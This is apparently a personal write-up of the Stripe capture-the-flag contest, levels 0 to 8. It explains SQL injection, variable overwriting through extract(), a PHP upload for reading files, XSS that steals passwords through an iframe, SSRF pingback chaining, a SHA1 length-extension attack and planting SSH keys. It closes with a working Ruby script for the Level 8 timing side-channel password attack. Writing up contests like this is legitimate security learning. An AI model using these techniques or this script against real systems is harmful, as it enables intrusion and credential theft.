For more info about this contest, go to http://stripe-ctf.com
Level 0
Easy. The application code retrieves records based on a LIKE clause from an SQL database. All this baby needs is a look up for the user %.
Level 1
The code looks mostly all right, but what is this extract() function call doing here? Surely it cannot possibly be what I think it is - that would let me directly modify variable values within the current context! The next piece reads a file containing the password. If there was a way of modifying the file name to a file that is empty and supplying that as our guess, that would grant us access. I appended a single “filename=/dev/null” value to the query string and got my password.
Level 2
This one was trickier - we can upload any file to the server, and the uploads directory configuration was the same as its parent - permitting the execution of PHP scripts. All I had to do was write a 3-line script that would open the “password.txt” file and echo its contents. Next!
Level 3
Here we have another SQL injection vulnerability, but this one is slightly trickier to exploit. My initial guess was to terminate the current SQL statement and start a new one which would update the database with credentials that would give me access. I’ve spend a fair amount of time attempting to do just that, including an attempt to use an UPDATE statement within a subquery - no luck - the app executes only a single statement. The next morning, I woke up and crafted a query that causes the first part of the statement to return no records, then creating a UNION with another query that contains a fake id, password_hash and salt. This SQL query is injected through the username parameter.
Level 4
This level was my favorite as it relies on another user performing a predetermined action (in this case - accessing the website every minute and evaluating the script on the page). This means some code needs to be injected into the site to cause the user to unknowingly perform that action. The name of the game is XSS. We need to write a script that tells karma_fountain to send us a point of karma. Once that is done, we have their password. I injected the code through the username parameter, which is displayed to all other users of the system.
Level 5
All levels until now required us to act with a single system only. This one was different - it tells us that we need to call a third party service to verify that we can authenticate. A hint is given, telling us that outgoing ports from this machine are open, which means we can initiate a HTTP connection to a server from Level 2. This means that we need to write a PHP script that lets us authenticate and send that as the pingback URL to the app. I got that part to work relatively quickly, but how would we fake a user as being authenticated by the level05 server? A more thorough study of the internals reveals that the pingback URL can be any URL including a call to the server itself with the level02 server as the pingback URL. This causes us to call a server to itself, which then calls level02 and returns a string containing AUTHENTICATED, which in turn returns the same.
Level 6
This app seemed airtight. After much time spent on analyzing possible points of injecting a script (this level was similar to the one with karma_fountain), I’ve come up with two places where an injection might be possible - both within the SCRIPT tag on the page, both being results of some app logic running on the server. At first the username variable seemed like a good place to start, but I quickly realized that I can’t smuggle anything into the app that hsa quotes in it.
After a while I approached the other varable - post_data. I needed to somehow break out of it and make the browser run my code. After a couple of attempts I’ve managed to do it by appending “}]</script>” to the output. After verifying that it worked, it was downhill from then on. I’ve inserted an IFRAME that would load the “user_info” page - the password is readily available on that page in plain text form. An ‘onload’ callback was attached to that IFRAME that would first find the password-containing element within the page and then extract it. After that it was a matter of filling the form with the extracted value and submitting the form.
For some reason that didn’t quite work. After some poking around and re-reading the instructions I then recalled that the app doesn’t accept quotes in field values. That wasn’t too difficult to solve - I decided to encode each character as its ASCII decimal value and save it within the form as an array. That worked beatifully.
Level 7
Level 7 was the toughest - the code was airtight, there was no opportunity for XSS attacks since there was no page to render and access. SQL injection seemed like a possibility at first, but I quickly realized that it wasn’t the way to go. It would seem like I’d need to brute-force SHA1! That’s insane, I thought and went to sleep. I couldn’t believe that this was the way to do it, so I started googling, reading up on vulnerabilities and finally came across this blog post detailing what is known as a hash-extension attack. The gist of it is that given some output state from a hash function, we can re-use it to construct a valid hash, assuming that we append something to our input. The HTTP query string would let us do exactly that! All I had to do was to append “&waffle=liege” and reuse the hash value from logs for user with an id of 1. All I had to do was to find a pure Ruby or Python implementation of SHA1 that would let me set an arbitrary hash state. While looking for one, I came across a script in Python that performs this exact attack - it was a matter of pluging in the strings and sending a request using curl.
Level 8
Still having one day to go, I started reading on Level 8, and got an idea of how to approach it, but wasn’t quite sure on how to get through SSH on the Level 2 server - I gave up and went to sleep.
The next morning, while playing with the ssh client with verbose mode on, I noticed that only public-key authentication is turned on. Which meant that I needed to get my key on that server somehow. Luckily for me, the Level 2 server was already partially compromised - I could read and write any file that belonged to me. I quickly crafted an authorized_keys file to be placed on the server and wrote a script that uploaded it to the .ssh subdirectory in my $HOME.
My initial idea to crack the password was to launch a brute force attach against each chunk server. Right after I woke up and read the level description it became clear that I can’t access those directly. The ‘webhooks’ parameter was stuck in the back of my mind and I realized that there is no way but to use that mechanism to perform the attack. After some thinking I tried the first idea to come to mind - are the source ports randomized or not? It turned out that they’re not - in which case I could exploit the fact that given subsequent requests, some of those requests (partially-successful ones) would trigger more connections that the less-successful ones.
And so I needed a couple of things - a loop that would go over each chunk-combination, an HTTP client (preferably one that could keep connections persistent), and a TCP listener that would accept connections and read out port numbers to me. As I’d go through the loop, I’d calculate the difference between ports for each chunk and whichever was unlike the rest would be the one to look into further. This worked flawlessly on my laptop, not so much on the real machine. First of all - it was A LOT slower. Second of all, I got way more false positives than I expected. I’d get a set of 20+ chunk values to check out, which is still less than 1K, but not great. 20^4 yields 160K, so I’d have to test 160K combinations before I discovered which one was correct. The solution was very simple - re-run a single chunk sweep multiple time and during each successive iteration only check chunk values that were marked as positives earlier. After ~4 passes I’d get a single value. I’d repeat the process four times, and would get my flag.
Here’s the code for level 8 if anyone’s interested:
require 'rubygems'
require 'net/http/persistent'
require 'pp'
require 'set'
$endpoint = URI.parse('http://localhost:7777/')
$tcpserver = TCPServer.new(44231)
candidates = {}
def guess_chunk(password, pos_missing, accuracy=6)
http = Net::HTTP::Persistent.new('crack')
prevport = 0
initial_set = ('000'..'999').to_a
results = accuracy.times.inject(initial_set) do |prev_candidates, i|
candidates = Set[]
prev_candidates.each do |chunk|
password_dup = password.dup
password_dup[pos_missing] = chunk
password_guess = password_dup.join
post = Net::HTTP::Post.new($endpoint.path)
post.body = "{\"password\":\"#{password_guess}\",\"webhooks\":[\"localhost:44231\"]}"
response = http.request($endpoint, post)
socket = $tcpserver.accept
port = socket.peeraddr[1]
if port - prevport > 2 + pos_missing
candidates << chunk
end
socket.close
prevport = port
if /true/ =~ response.body
return [password_guess]
end
end
pp candidates
prev_candidates.to_set & candidates
end
http.shutdown
results.map do |chunk|
password_dup = password.dup
password_dup[pos_missing] = chunk
password_dup
end
end
guesses = { -1 => [['000', '000', '000', '000']]}
4.times do |i|
guesses[i] = guesses[i - 1].inject([]) do |list, candidate|
list += guess_chunk(candidate, i)
list
end
pp guesses
end
Summary
This was a tough exercise, but at the same time, it was probably the most fun I had in front of a terminal in a long time. I look forward to another one like it!